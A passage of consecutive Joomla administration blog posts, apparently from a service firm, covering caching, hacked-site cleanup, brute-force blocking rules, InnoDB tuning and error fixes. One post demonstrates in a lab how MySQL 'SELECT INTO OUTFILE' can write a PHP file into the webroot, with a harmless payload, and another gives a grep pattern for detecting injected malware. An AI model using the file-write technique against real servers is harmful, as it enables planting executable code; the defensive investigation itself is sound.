That flexibility, however, comes at a cost: embedded modules are only cached when the System – Page Cache plugin is enabled (and we all know how fun it is to have this particular plugin enabled).

This means that if you have some heavy queries running in those embedded modules, then expect those heavy queries to run every time even if you are using conservative or progressive caching (see this post for the difference between the two). Yes – that’s not optimal, and unfortunately, there are no workarounds that don’t involve substantial modifications to the core.

How did we discover this?

Well, we discovered this whole thing by accident (just like when Alexandar Graham Bell discovered the phone, and just like when Christopher Columbus discovered America): we were analyzing the queries that a certain website was sending to the database server in a silo’d environment, and we noticed that all the queries loading the modules were not being executed when either the conservative or the progressive caching, with the exception of the embedded modules.

You can try this yourself:

  • Copy your website to a development server.
  • Enable Conservative Caching in your global configurations settings.

  • Add the following lines to the my.cnf file (the my.cnf file is the MySQL configuration file, which is typically located under the /etc folder) in order to catch all the queries that are sent to the database server (you can use vi or nano to edit the file – we prefer vi):

    general_log = on
    general_log_file=/var/lib/mysql/all-queries.log

  • Restart MySQL by issuing the following shell command:

    service mysql restart

  • Visit the website using your browser, and then clear the all-queries.log file by issuing the following command:

    > /var/lib/mysql/all-queries.log

  • Visit the website again, and you will see that all the queries pertaining to those embedded modules are still being sent to the MySQL database server and recorded in the all-queries.txt file.

So yes, while embedding module is a very powerful concept, it also comes at a price. For some modules and some websites, that price is very expensive in terms of performance. On the bright side, however, for most websites and most modules, the price for doing that is almost negligible.

If your website has a lot of embedded module and you are noticing performance issues caused by these modules, then just contact us. Our prices are affordable, our work is professional, and we always have a solution for anything Joomla!

A Super Quick Guide to Deal with a Hacked Joomla Website

You wake up one morning, and you get that nasty email from Google telling you that your Joomla website is hacked. So what do you do? Well, first of all you relax knowing that this can happen to anyone in this galaxy, and then, you follow the below guide:

  • Backup your Joomla website (filesystem and database) so you can revert back to a previous backup in case of a major mistake during the cleanup process.
  • Delete all the files under the cache and the tmp folders.

  • Check your .htaccess file(s) for anything malicious. Note that we are using file(s) instead of file since you may have more than one .htaccess file (for example, one under the root directory of your Joomla website, one under the administrator folder, and one in a directory even higher than that of the Joomla root directory [this is typically the case when the Joomla website is operating as an add-on domain or is hosted on a toxic shared hosting environment]).

  • Overwrite your Joomla files with a fresh Joomla install as described here. In short, you will need to find which version of Joomla you are running, download that exact version of Joomla from the official website, remove the installation and the images folder from the downloaded zipped file, and then extract the zipped file onto your website.

  • Run a malware scan (such as maldet) to see if there are still some malicious files. If the scan finds any files, then clean them or delete them (depending on whether these files are actually part of your Joomla website or not). Ensure that your malware scanner is up-to-date before running the scan.

  • Make sure that the index.php file is the only file that can be accessed by the outside world. You can do this with an .htaccess rule – we have explained how to do this in a previous post.

  • Use an external scanner to check if your website is clean:

    • If it’s not clean, then try disabling modules/plugins one by one and then repeat the scan each time you disable a module/plugin until the problem is no more. Stop when the website is reported as “clean”, and then examine closely the module/plugin that you have just disabled as it is the one that is hacked and that is poisoning the whole website.
    • If still not clean, then switch to a different template and repeat the scan and see if the problem is fixed. If the problem is fixed, then the hack is somewhere in your template. Either uninstall your template and re-install it or fix the hack manually.

    • If not already done, update your Joomla website to the latest version.

    • Update all the extensions (template, modules, plugins) on your Joomla website to the latest version. This step and the previous step are absolute musts for website protection.

Typically, following the above guide will get your website clean and more secure. If it doesn’t, or if you need help with this guide, then please contact us. Our fees are affordable, our work is top notch, and we will clean your website.

Internal Server Error on Joomla’s Backend Login Page – How to Fix

A client emailed us very early in the morning and told us that whenever he tried to access the login page of the backend of his Joomla website (e.g. http://www.ourclientjoomlawebsite.com/administrator ), he was seeing a 500 Internal Server Error page. He told us that the frontend worked flawlessly, and the problem was only in the backend.

In most cases, those Internal Server Errors, when they are restricted to the backend, only appear after the person tries to log in, and not before, which made this whole issue a bit curious.

Naturally, when something happens on the very first page, we rename the .haccess to htaccess.old, and we did that, but it didn’t help. But then we noticed that there was another .htaccess located under the administrator folder, so we renamed it to htaccess.old, and then we tried to login, and this time, it worked! We saw the beautiful Joomla login page waiting for us to enter the credentials. We logged in with the credentials provided by the client, and were able to see the backend!

But why was the .htaccess file causing this problem?

The client apparently just moved his website from one server to another, and had the following in the .htaccess file (that is located under the administrator folder):

AuthName "Authorisation Required"
AuthUserFile /home/.htpasswd
AuthType Basic
Require valid-user
ErrorDocument 401 "Authorisation Required"

Apparently, he was using our method for an additional authentication layer using the .htpasswd/.htaccess combination. However, when he moved his website to a new server, he didn’t copy back the corresponding .htpasswd file to the /home folder, which was the cause of the problem. We informed him about the cause of the issue and so he copied back the file from his old server to his new server, reinstated the .htaccess file, and the problem was no more.

Now if you, our dear reader, are seeing an Internal Server Error when you just browse to the login page of your Joomla backend, then the first thing that you need to do is to rename your .htaccess file (under the root of your Joomla website, and then under the administrator folder). If that still didn’t work, then please contact us. We will fix the problem for you quickly, efficiently, and for very little money.

Minimizing Brute Force Attacks on Joomla’s Backend Using .htaccess

If you’re running a Joomla website and you regularly check your Apache web server logs, you will notice that these logs are full of brute force attacks. These brute force attacks consist of continuous POST requests to your Joomla website, with dictionary based combinations of usernames and passwords, with the hope that one of these combinations will be the right one. Obviously, unless you have a very obvious password, brute force attacks are just a nuisance and nothing more. However, in large numbers, brute force attacks are no longer nuisances, but a major issue, because of the load issues they may cause.

Luckily, blocking brute force attacks on the administration area of a Joomla website is easy. In fact, just last month, we published a post with a ModSecurity rule to block brute force attacks on the backend of a Joomla website.

If you’re not a big fan of ModSecurity, then you can always add an additional layer of authentication on the backend of your Joomla website using the .htpasswd.

The nice thing about the ModSecurity and the .htpasswd methods is that they eventually block the offending IP – but – on the flip side, they are not very easy to implement.

If you want an easier method to minimize brute force attacks on Joomla websites, then you’re in for a treat! Today, we have an easy set of rules that you can simply add to your .htaccess file to minimize such attacks. Here they are (we know you don’t want to wait anymore):

# First redirect from non-www to www as explained here.
RewriteEngine On
RewriteCond %{HTTP_HOST} ^yourjoomlawebsite.com
RewriteRule (.*) http://www.yourjoomlawebsite.com/$1 [R=301,L]

# Now block brute force logins
# If the request type is POST...
RewriteCond %{REQUEST_METHOD} =POST
# ... and the referering page is not your website
RewriteCond %{HTTP_REFERER} !^http://www.yourjoomlawebsite.com [NC]
# then block the request
RewriteRule ^(.*)$ - [R=403,L]

The above code should be added to the .htaccess file under your administrator folder. If you don’t have one (which is typically the case for most Joomla websites), then create it and add the above code.

Now let’s explain the rules a bit (we did explain them in the code, but more explanation is never harmful):

  • First we redirect from non-www to www to make things easier.
  • We then check if the request method is of type POST – if it is, then we check if the referring URL is not the actual website (brute force attacks typically post directly to the action page without going through the normal workflow). If it is not, then we block the request with a 403 forbidden. If it is, then we allow the request.

But is this too good to be true?

We hate to say it – but yes – this whole thing is too good to be true, and that’s why we carefully chose the word minimizing instead of blocking in the post’s title. See, the heart of the .htaccess rules that we have is the HTTP_REFERER value, which, unfortunately, can be forged because it is a client set value (e.g. it is set by the client, and not by the server).

Additionally, there are some browser plugins that can automate tasks, including brute force attacks, and these browser plugins make it look like as if the whole thing was initiate by a real user, and not by an automated robot.

But, again, these rules will minimize the brute force attacks – since many attackers don’t even both faking the HTTP_REFERER, so implementing the above code is beneficial to your Joomla website!

Now, if you have some questions on the above, or you need help with implementation, then please contact us. Our fees are affordable, our work is quick, and we really are experts in Joomla security.

MySQL’s “SELECT INTO OUTFILE” – Should Joomla Administrators Be Afraid?

Note: This post is very advanced and is targeted at system administrators and advanced programmers.

Another note: The aim of this post is strictly to promote security on Joomla websites and to investigate potential threats. It is not aimed at teaching others how to exploit websites.

After reading a post this morning on the dangers of the “SELECT INTO OUTFILE” MySQL query statement, we initiated an investigation mission so that we can validate whether its threats are real or not.

Now, of course, you might be wondering, what is “SELECT INTO OUTFILE”?

“SELECT INTO OUTFILE” is a MySQL query statement that will write the selected rows into a file. For example, if you want to write the contents of the #__content table into a file, then you can run the following query:

SELECT * INTO OUTFILE '/tmp/content.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n' FROM `#__content`;

Theoretically, the above query should dump the content of the #__content table into the content.csv file which is located under the /tmp folder, which is fine, but let’s look at another example:

SELECT "" INTO OUTFILE '/home/[cpanel-user]/public_html/outfile.php'

The above query will (theoretically – you’ll see later in this post why we’re using the word “theoretically” a lot) generate a PHP file called outfile.php under the main directory of the Joomla website. Since the file is typically created with rw-rw-rw permissions, then this means that it can be accessed from the browser by going to: http://www.yourjoomlawebsite.com/outfile.php.

The outfile.php that we created is harmless, but one doesn’t need to have the imaginative mind of Charles Lutwidge Dodgson (aka Lewis Carroll, the man who wrote Alice in Wonderland, who sometimes believed in as many as six impossible things before breakfast), to know what a malicious user can do with that powerful command.

In order to know how much of a threat that query was, we created a test environment and played the Exploit my test website using “SELECT INTO OUTFILE” game, which rules were the following:

  1. We had to upload a PHP file to the root directory of the website using the “SELECT INTO OUTFILE” query.
  2. There are no other rules, which means that we can do anything on the server and change anything to succeed, including using our root privileges to the test server.

Here’s how we started playing the game:

  • We opened the file index.php which is located under the main Joomla directory.
  • We added the following code to its very end:

    $db = JFactory::getDbo();
    $sql = 'SELECT "<?php echo(\'Hello World from MySQL\'); ?>" INTO OUTFILE \'/home/[cpanel-user]/public_html/outfile.php\'';
    $db->setQuery($sql);
    print_r($db->query());

When we tried to load the website, we saw the following error:

1045 – Access denied for user ‘[mysql-database-user]‘@’localhost’ (using password: YES) SQL=SELECT “<?php echo(‘Hello World from MySQL’); ?>” INTO OUTFILE ‘/home/[cpanel-user]/public_html/outfile.php’

A quick investigation revealed that cPanel database users are never given the FILE privilege, which is required to execute “SELECT INTO OUTFILE” queries. In fact, even if you grant all privileges to the database user from within the cPanel interface, the FILE privilege will not be granted. It has to be granted manually by the root user (using the GRANT FILE ON [joomla-database].* TO [mysql-database-user] query)…

Speaking of the root user, it already has the FILE privilege, so why not use it since we are in a consequence-free environment? So, we changed the database user in the configuration.php file to root (we also changed the password to that of the root), and we tried again, and here’s what we saw this time:

1 – Can’t create/write to file ‘/home/[cpanel-user]/public_html/outfile.php’ (Errcode: 13 – Permission denied) SQL=SELECT “<?php echo(‘Hello World from MySQL’); ?>” INTO OUTFILE ‘/home/[cpanel-user]/public_html/outfile.php’

Aha! So, the root user was almost able to write the file, except that the file permissions prevented him from doing so. So, we changed the permissions of the public_html folder from 755 to 777 (775 didn’t work) and we tried again, and, unsurprisingly, it worked this time and it created the file. Wow!

Now, we wanted to verify that we were able to execute the file from the browser, so we pointed our browser to: http://www.testjoomlaenvironment.com/outfile.php, thinking that we will see the Hello World message, but instead, we saw this error:

Forbidden – You don’t have permission to access /outfile.php on this server.

Then we remembered that we had the following security rules in the .htaccess file to only allow the index.php file to be executed:

<Files *.php>
    Order Allow,Deny
    Deny from all
</Files>
<Files index.php>
    Order Allow,Deny
    Allow from all
</Files>

Removing those rules allowed the execution of the PHP file, and displayed the Hello World from MySQL message, which automatically made us win the game. Hooray!

But was it a fair game?

We admit, the game we played was not a fair game. First, there is a major assumption in this game, and it is that there is an exploit somewhere on the Joomla website that will allow us to inject the code, which, realistically, is only the case on a small percentage of Joomla websites. Second, even if there was an exploit, if it wasn’t for the second rule, we would have never been able to win; we would have been stuck trying to make the initial database user execute the “SELECT INTO OUTFILE” command.

But what really made the game impossible to win without “cheating” (e.g. without the second rule) was the fact that the WHM/cPanel environment is a very secure environment. For example, the privileges granted to database users do not include the FILE privilege and the permissions on the folders are correct (compare that to a Plesk environment where the whole thing looks like a mess [Note: We are not hinting here that Plesk, as an environment, is insecure or less secure than WHM but we have yet to see permissions done correctly on a Plesk hosted website]).

As you can see, the “SELECT INTO OUTFILE” query is a dangerous query, but you are more likely to win the lottery than get hacked using this query if you’re on a WHM/cPanel environment. If you’re on a less secure environment, then it is very important to make sure that the database user that you’re using does not have any FILE privilege. If in doubt, please contact us. We are always ready to help, our fees are super affordable, and we know how to ironclad a Joomla website.

MySQL InnoDB Optimization for Large Joomla Websites

One of the first things that we used to do to resolve a substantial part of load issues caused by a Joomla website was to switch the main content tables from MySQL InnoDB database engine to MySQL MyISAM. The results were always impressive. Nevertheless, we always had conflicting feelings after the switch: while we were happy that the load was down, we knew that we were playing with fire and we knew that there’s a way to make InnoDB work on a very large Joomla database, but we decided to play re-actively on this issue, and not proactively.

The reason why we knew that we were playing with fire is the fact that MyISAM locks the whole table when inserting, deleting, or updating rows, which means that any subsequent CRUD (Create, Read/Retrieve, Update, Delete) activity will have to wait for the lock to be released to get executed. Of course, the locking time is typically very small, but things can get very ugly very quickly when a massive update to a critical table takes place, and so all the queries needing that table will have to wait for a long time, creating an unmanageable backlog of queries, ultimately causing the server load (caused by MySQL) to skyrocket.

The nice thing about InnoDB is that, unlike MyISAM, it only locks the row(s) it is updating/adding/deleting, essentially reducing any lock time to nil. But, for the life of us, we were unable to get InnoDB play well on large Joomla websites powered by large databases.

A few weeks ago, however, everything changed. We started seeing some minor performance issues on a large Joomla website that we manage. We ssh’d to the server and we noticed that the load was hovering around 3, which is not bad, but not good either. A load of around 3, when the main load is caused by MySQL (and not by other processes), typically hints that there are some slowdowns on the website. So, we optimized the website even more (we performed many core optimizations on that particular website before), but the outcome wasn’t great. We were frustrated, and we knew that we have reached the physical limit of MyISAM – but we were just afraid of jumping into the abyss.

Eventually, we decided to take that leap of faith, because, as mentioned in the beginning of this post, we knew that InnoDB would perform much much better than MyISAM provided the right database configuration settings were chosen. We were so determined to making this whole thing a success that we even switched to a better server that had double the memory and a faster SSD. Here are the server details (note that the website in question receives 50,000 uniques/day, and, believe it or not, the System – Cache plugin is disabled on that website):

Processor: Intel Xeon E5-2650 v3 10 Cores
Memory: 64GB DDR4 SDRAM 0.00
Primary Hard Drive: 6 x 500GB Crucial SSD Hardware RAID 10
Secondary/Backup Hard Drive: 1TB SSD Backup Drive 0.00
Linux OS: CentOs 6 - 64Bit 0.00
Control Panel: cPanel / WHM - Fully Managed

Since we were switching to InnoDB, we cared mostly about 3 things: more RAM, a fast SSD drive, and a fast processor (in that order). The RAM was doubled (the client had 32 GB before), the SSD drive was slightly faster, and the processor was much faster (despite the fact that the client had a 48 core AMD processor before).

After moving to the new server, we noticed that not much has changed, the load dropped slightly and hovered around 2.8 (which was still not good) and the (unfixable) slow queries were still being recorded to the slow query log. It was definitely a good time to test the power of InnoDB to see whether it solves the problem or not.

How we switched from MyISAM to InnoDB

Switching from MyISAM to InnoDB consisted of 3 steps:

  1. Modifying the MySQL configuration file to ensure InnoDB runs optimally.
  2. Restarting the MySQL server.

  3. Switching all the database tables from MyISAM to InnoDB.

Of course, the most difficult part was finding the right InnoDB configuration settings for that particular website, and after a lot of very hard work, we found them! Here they are:


innodb_buffer_pool_size = 8G
innodb_log_file_size = 2G
innodb_log_buffer_size = 256M
innodb_flush_log_at_trx_commit = 0
innodb_flush_method = O_DIRECT

After determining the above values, we added them to the my.cnf file in the /etc folder.

Of course, the million dollar question (if you’re reading this post in the year 2100 then please change million to billion for accuracy) is, how to determine the above values? While we know that you are not going to give us a million dollars for our answer (or is it that the one who asks the question gets the million dollar? We’re not really sure!) we are going to explain how we got the above values for you anyway:

innodb_buffer_pool_size is probably the most important value here. InnoDB loads all the tables in the RAM, and so when a query hits an InnoDB table, the database engine will check if that table is already in the RAM, if it is, then it queries the table from the RAM (and not from the disk), if it isn’t, then it loads it in the RAM, and then queries it from there. innodb_buffer_pool_size, as you may have guessed, is the maximum amount of RAM that can be used by InnoDB for table storage – if InnoDB reaches that maximum, then it’ll start querying tables directly from the disk, which is a much slower process. Most references state that the amount of RAM allocated to innodb_buffer_pool_size should be 80% of the total RAM, but we think this is just too much. Additionally, these references assume that the database server runs on a different physical server, which is not the case for the absolute majority of our clients (they have the database server, the web server, and the mail server, all running on the same physical server). Since innodb_buffer_pool_size will contain, at max, all the data in all the databases, then an intelligent way to determine its value would be by calculating the size of the /var/lib/mysql folder by issuing the following command in the shell:

du /var/lib/mysql -ch | grep total

In our case, the above returned 2.4 G, so we just multiplied it by 3 and we rounded it, and we came up with 8 G (8 Gigabytes). Of course, even 3 G could have worked for us, but we just didn’t want to take any chances and we had a lot of RAM. Don’t be frugal with this value as it’s the most critical in an InnoDB environment.

innodb_log_file_size is the size of the physical logs where all the recent database activities are cached for both performance reasons and to restore the database after a crash. innodb_log_file_size is a bit more complex that innodb_buffer_pool_size to accurately determine (make that highly complex). But, a good rule of thumb that works well for most database instances it to set this value to 25% of the innodb_buffer_pool_size, which is in our case 2 G.

Of course, you might be asking yourself, why not just set the innodb_log_file_size to a very high number and then forget about it? Well, you shouldn’t do that because of 2 reasons:

  1. Restarting MySQL will take a very long time. In fact, when we restarted MySQL with innodb_log_file_size changed to 2 G, we had to wait for about 3 minutes (when the value was set at about 256M, restarting the server took just a few seconds), this is because MySQL had to write 2 files of 2 G each to the fileystem: ib_logfile0 and ib_logfile1 (now you know what these weird ib_logfiles files under the /var/lib/mysql folder are).
  2. Restoring a crashed database will also take a lot of time. Keep in mind that a crashed database is not a remote possibility, and we’ve seen it happen many times (almost all cases were caused by a power outage).

innodb_log_buffer_size is the size of the RAM that InnoDB can write the transactions to before committing them. Honestly, a value of 64 M is more than enough for almost any MySQL database server (most MySQL servers have it set to 8 M), but we changed it to 256 M when experimenting and we didn’t change it back as a large innodb_log_buffer_size has zero negative effect on the server. In all fairness, probably a value of 1 M could have worked for us because we’re not even using database transactions anywhere on the Joomla website (see below).

innodb_flush_log_at_trx_commit is (more or less) an on/off setting for database transactions (when set to 1, it means we are allowing database transactions, when set to 0, it means we are not allowing database transactions). The absolute majority of Joomla websites out there don’t use database transactions (for clarification, a database transaction is completely different from a payment transaction), which means that this should be set to zero (0). The default value of 1 means that the InnoDB database engine is ACID (Atomicity, Consistency, Isolation, Durability) compliant (meaning that the transactions are atomic), which creates a significant overhead on the MySQL database server (even when it’s not needed).

innodb_flush_method is a setting to tell MySQL which method to use to flush (delete) the database data (not actual data, but the cached data) and logs. If you’re using RAID, then set it to O_DIRECT. Otherwise, leave it empty.

After applying the above settings in the my.cnf file, restarting the MySQL server, and then changing all the tables from MyISAM to InnoDB, we saw a huge improvement in the performance: the load dropped to slightly over 1, and the slow query log stopped recording slow queries every few minutes (in fact, we only had 3 slow queries since we did the switch 3 weeks ago). Even Google saw a substantial improvement, see for yourself:

Time spent downloading pages: Before and after InnoDB Switch

Figure 1: Time spent downloading pages: Before and after InnoDB Switch (this is a snapshot taken from the “Crawl Stats” page from Google Search Console)

As you can see, the time spent downloading a page has decreased significantly as of June 30th (which is when we switched to InnoDB). One can safely say that the download time was halved! Impressive, huh?

We hope that you found this post useful. If you have need help with the implementation, then you can always contact us. Our rates are super affordable, our work is super clean, and we will make your Joomla website much, much faster!

“The File Cache Storage is not supported on this platform.” Error After Updating to Joomla 3.6

A client called us very early this morning and told us that after he updated to Joomla 3.6 (from Joomla 3.5.1), he was seeing the following fatal error on the Joomla backend:

The File Cache Storage is not supported on this platform.

We immediately investigated the issue (it was around 5 AM), and we realized that it was caused by the following code in the storage.php which is located under the libraries/joomla/cache folder:

// Validate the cache storage is supported on this platform
if (!$class::isSupported())
{
	throw new RuntimeException(sprintf('The %s Cache Storage is not supported on this platform.', $handler));
}

Tracing the isSupported function, we found out that it is located (for that particular scenario) in the file.php file which, in turn, is located under the libraries/joomla/cache/storage folder. Here is its code:

public static function isSupported()
{
	return is_writable(JFactory::getConfig()->get('cache_path', JPATH_CACHE));
}

So cache_path, which is (almost always) JPATH_CACHE, which translates to the cache folder or to the administrator/cache folder (depending on whether the user is browsing the frontend or the backend) is not writable by Joomla (e.g. it is not writable by the web server, which was Apache in the case of our client).

Since the issue was only happening on the backend, then this meant that the folder administrator/cache was not writable. So, in order to fix the problem, all that we had to do was to change the permissions and the ownership on that folder to make it writable by Joomla.

Why was the problem only happening on the backend?

The problem was only happening on the backend because the cache folder, located under the root directory of the Joomla website, was writable, but the one under the administrator folder wasn’t.

Why is this suddenly an issue with Joomla 3.6?

Previous versions of Joomla did not have the RuntimeException statement when the cache folder wasn’t writable. They were silently handing the issue by just not caching the content, which is the right way to do things. We think that this problem will cause the Joomla core developers to act and revert that change.

In any case, if you’re having this error on your Joomla website, then make sure that you have both the cache and the administrator/cache folders writable by your web server. If you need any help, then please contact us. Our fees are super affordable, our work is fast and professional, and we are the friendliest Joomla developers on planet Earth!

Searching for the “*/$” Pattern on Your Joomla Website to Discover Hacked Files

Over the course of the last decade, we have unhacked and secured many Joomla websites ranging in size from very small to very large. In most cases, cleaning up a Joomla website consists of the following steps:

  1. Blocking all traffic to the website.
  2. Backing up the website.

  3. Overwriting the core files from a fresh Joomla install matching the same version.

  4. Scanning the website using various tools and deleting the malicious files.

  5. Only allowing the index.php file to be executed by Apache as described here.

  6. Preventing direct access to core folders.

  7. Installing the itoctopus Joomla firewall (a homemade firewall that we install for our clients).

  8. Updating the Joomla website to the latest stable version and updating/uninstalling vulnerable extensions (optional – as some clients want to only cleanup the website and prefer to update at a later time [of course, we always recommend to perform both the cleanup and the update at the same time]).

  9. Testing the website (we whitelist our IP in order to do that).

  10. Backing up the clean version of the website.

  11. Unblocking access to the website.

Typically, the various tools that we use in step number 4 above find all the malicious files on the website, but not always, which was a major problem and which caused the cleanup process to take a lot more time.

However, lately we have noticed the following pattern in almost all the malicious files that were not caught by the scan: */$

Let us explain…

You see, malicious code is typically highly compressed, and so usually, there are no spaces between a comment and a variable declaration, which means that searching for */$ will most likely return all of the malicious files on your Joomla website. Here’s the ssh command that you should use to search for it:

grep -R --include=*.php '\*\/\$' *

(Note: This command should be run at the root directory of your Joomla website, e.g. at the same level of the main index.php file).

The above command may return some false positives, but that’s OK, because they are typically few, and are easily recognizable.

We hope that you found this post useful and that it helped you cleanup your Joomla website. If you still think that your website is not fully clean, or if you want some Joomla security experts to do the cleanup for you, then please contact us. We will clean your website, we will secure it, and we will not charge you much!

“Could not connect to MySQL.” Error on a Joomla Website

Yesterday (Friday) we explained how a full disk brought the Joomla website of a client of ours completely down. We also mentioned that we upgraded the VPS plan of that client to a more generous plan in terms of disk drive and memory – what we didn’t mention, however, was that the VPS upgrade did not go smoothly, because when the upgrade was done, we saw the following error on the homepage of the website:

Error displaying the error page: Application Instantiation Error: Could not connect to MySQL.

Now, probably most of those who have an intermediate knowledge of Joomla know that the above error is caused by one of the following:

  • The database username and/or password and/or database name and/or database host is/are wrong.
  • The database user does not have full read/write access to the database.

  • The database server is not running.

  • The mysqli PHP module is not installed.

We were confident that the error was not caused by any of the above, nevertheless, we decided to create a small PHP file that will test the connection to the database just to be sure. So, we created a file called check-mysql-connection.php which contained the below code:

<?php
$dbConnection = new mysqli("localhost", "[db-username]", "[db-password]", "[db-database-name]");
if ($dbConnection ->connect_errno !== FALSE)
	echo $dbConnection ->connect_error.' (Error Number: '.$dbConnection ->connect_errno.')';

?>

Running the above file generated the following error:

Warning: mysqli::mysqli(): (HY000/2002): No such file or directory in /home/[cpanel-user]/public_html/check-mysql-connection.php on line 2
No such file or directory (Error Number: 2002)

Hmmm! So it was something with mysqli. We immediately assumed that it wasn’t installed on the new VPS instance, so we logged in to WHM, went to EasyApache 3, and then checked the ** DEFAULT ** (selected) profile. We noticed 2 things:

  • The mysqli module was installed.
  • The VPS instance was running an EOL (End Of Life) version of PHP, which was version 5.4.45.

So we switched, on the PHP Version page (in EasyApache), to PHP 5.5.37. We then clicked on Next Step, and then we clicked on Save and Build. We followed the instructions and then tested the website, and this time it worked!

But why didn’t the mysqli PHP module work with PHP 5.4.45?

We suspect that was because the installed mysqli module wasn’t compatible with that version of PHP. Upgrading to PHP 5.5.37 ensured that everything was compatible with that particular version of PHP.

So, the next time you see that Could not connect to MySQL error on your Joomla website, make sure (after verifying the obvious: username, password, host, permissions, etc…) that the problem is not with your version of PHP. If you need help finding and fixing the problem, then that’s what we’re here for. Just contact us and we’ll solve the problem for you quickly, professionally, and for a very small fee!

“An error has occurred” When Trying to Login to the Backend of a Joomla Website

A regular client of ours called us a couple of hours ago and told us that her company’s website was down, and she was seeing a weird error when trying to login to the administrator section of her Joomla website.

We immediately checked the website and we noticed that the website was complaining about too many redirects. So we asked the client whether she did any redirects lately, and she told us that she did one yesterday through sh404SEF, but the website was working fine until this morning.

So, we tried to login to the website, but we saw the following error as soon as we went to http://www.ourclientjoomlawebsite.com/administrator/:

An error has occurred.
404 Not Found

Yes – we were getting a 404 Not Found when trying to access the login form (before even trying to login), even though the index.php file under the administrator folder had the right permissions and was being loaded by Joomla (we added a die statement at its very beginning to make sure that it was indeed being used).

At this point, we started suspecting that the website was hacked. Since we were confident that that particular website had no core modifications, we thought about applying our super quick cleanup method by just uploading a fresh copy of Joomla (matching the version of our client’s Joomla website) through cPanel and extracting it onto the existing Joomla website. But, as soon as we tried to login to the cPanel account of our client, we saw the following error:

Sorry for the inconvenience!

The filesystem mounted at / on this server is running out of disk space. cPanel operations have been temporarily suspended to prevent something bad from happening. Please ask your system admin to remove any files not in use on that partition.

Aha! The system completely ran out of space, and this explained why the website was down: both logging in to the administrator and viewing the homepage required write activities to the database/filesystem that were not allowed!

Just to make sure, we ssh’d to the server, and we issued the following command…

df -m

…and we noticed that /dev/vda3 (the main website partition) was 100% used.

So, how did we fix the problem?

We fixed the problem by removing old backups from the server, which reduced usage on the aforementioned partition to about 70%. Once that was done, we deleted the content of the cache folder under the website’s directory and we checked the website. And Voilà, everything was working again!

Once we were sure that the website was stable, we upgraded the client’s VPS to a higher plan that guaranteed double the disk space (and double the RAM).

If you’re seeing a 404 error when trying to access the backend of your Joomla website, then do not panic: your website is still there. It’s just that your server ran out of disk space, and you will have to remove unnecessary backups for everything to work again. If you want us to help you resolve this problem, then please contact us. Our prices are right, our work is professional, and we are very very reliable!

An Awk Line to Generate a List of 404 Pages Sorted By Number of Hits

Note: This post assumes a WHM based environment. If you are using Plesk or anything else, then the log path may be different. Please take that into consideration.

With time, most websites will have an increasing number of 404 pages. This is natural and it is caused by changes in the link structure, wrong incoming links, deleted/moved files, etc… The majority of websites typically ignore 404s, but we know that this is not the best route to take, especially in Joomla: in a previous post, we have explained the dramatic load issues that 404 pages can cause on Joomla websites. Now while we did propose, in that post, a core solution to address the consequences of 404 pages (which is also critical to lessen the effects of DoS attacks), that doesn’t mean that we think that 404 pages should be left unattended. In fact, we think that, as a Joomla administrator, you should analyze your logs often (ideally once a month), and, at the very least, address the 404 pages that appear the most in your logs to ensure long term stability of your website and your server (not to mention the positive SEO implications of doing so).

To make that task easier, we have devised a line, just one simple line, which will list all the 404 pages that you have in your logs reversely ordered by the number of hits. This will allow you to address the 404s that matter most. The line consists of a shell command using awk, a very powerful Linux shell tool mainly used for searching and analyzing files. Without further delay, here is the line (note that you must ssh as root in order to run the below command):

awk '{ if ($9 == 404) print $7 }' /home/domlogs/cpanel-user/yourjoomlawebsite.com | sort | uniq -c | sort -nr > 404-urls.txt

(Note: cpanel-user is the cPanel account username of your domain. Yes, duh!)

The above command checks each line (in the log file) if its 9th field is 404, if it is, then it will extract the URL from that line (which is the 7th field), put it in temporary memory, and then get a list of all the unique URLs as well as the number of their occurrences in the original log file. Finally, it sorts the list of unique URLs based on the number of occurrences of each URL, and then outputs the result to the file 404-urls.txt.

But why not just use Google Search Console to get the list of 404 pages?

Google Search Console (previously known as Google Webmaster Tools) generates a list of 404 pages on any website. However, that list is often out of date and does not generate the accurate results that one gets when examining the Apache access logs. Nevertheless, it is still a good idea to address all the issues that Google Search Console finds on your website, including 404 pages.

We hope that you found this post useful. If it didn’t work for you, then it might be that your log paths are different on your server. If you can’t find them or if you need help with the implementation, then please contact us. Our work is top notch, our fees are affordable, and we are the most courteous and friendliest Joomla developers on planet Earth.

No Save Button in Joomla’s Backend – How to Fix

A client emailed us this Saturday morning and told us that he’s not able to see the Save button when he opens any content item for editing (such as articles, categories, modules, etc…). So we logged in to the backend of his website and we noticed that not only the Save button was missing, but also the following buttons: Save & Close, Save & New, Save as Copy, Versions, and Close. In fact, the whole toolbar was missing.

We immediately knew what the problem was: the Toolbar administrator module was disabled. This meant that all we needed to fix the problem was to re-enable the module, and we did it the following way:

  • We went to Extensions -> Modules in the Joomla backend.
  • On the left panel, we selected Administrator instead of Site from the first dropdown.

  • We searched for Toolbar in the search box, and then we clicked on the red X next to Toolbar to enable the module.

  • We then tried to edit a random article to check that the Save button was there (along with the other buttons in the toolbar) and it was. The problem was solved!

Of course, the million dollar question right now is what caused it to be disabled in the first place? Our answer is, we don’t know, and the client wasn’t really interested in knowing so we couldn’t do any investigation to discover how it was done. But we suspect it was done by someone who had legitimate access to the website, either intentionally or unintentionally. But again, we can’t be sure.

If you can’t see the Save button in the backend of your Joomla website, then most likely your Action Toolbar was disabled. You can re-enable it by following the above guide. If it doesn’t work for you, then make sure you delete your Joomla administrator cache (you can do this by wiping out the contents of the administrator/cache folder). If it still doesn’t work for you, then we suggest you contact us. Our fees are affordable, our work is top-notch, and we are reachable 24/7/365!

A ModSecurity Rule to Block Brute Force Attacks on a Joomla Website

At itoctopus, we dedicate a lot of time to research, especially on enhancing Joomla’s security and performance. Today’s post is a fruit of that research, as we have managed to devise a concise ModSecurity rule to block brute force attacks on a Joomla website.

In case you don’t know what ModSecurity is, it is a firewall module that integrates with the Apache web server (among other web servers). What makes it very powerful is its versatility: it has a rules engine which allows system administrators and developers to develop rules to block an IP based on the its activity, and it has some built-in generic rules that can be whitelisted if they cause problems to the hosted application.

Going back to Joomla, most Joomla websites suffer from brute force attacks on the login page of their backend, and, because of that, their administrators resort to some 3rd party extensions that can handle brute force attacks at the application level. The problem with such extensions, however, is the fact that they are extensions, which means the Joomla framework must be loaded everytime the attack takes place.

ModSecurity, on the other hand, blocks brute force attacks at the server level, which means that the offending IP will not even reach the Joomla application, which is much better from server load perspective.

So, how do you block brute force attacks on a Joomla website with ModSecurity?

We’re glad you have finally asked. Here is a step-by-step super-easy to implement instructions on how to do that:

  • ssh to the server as root.
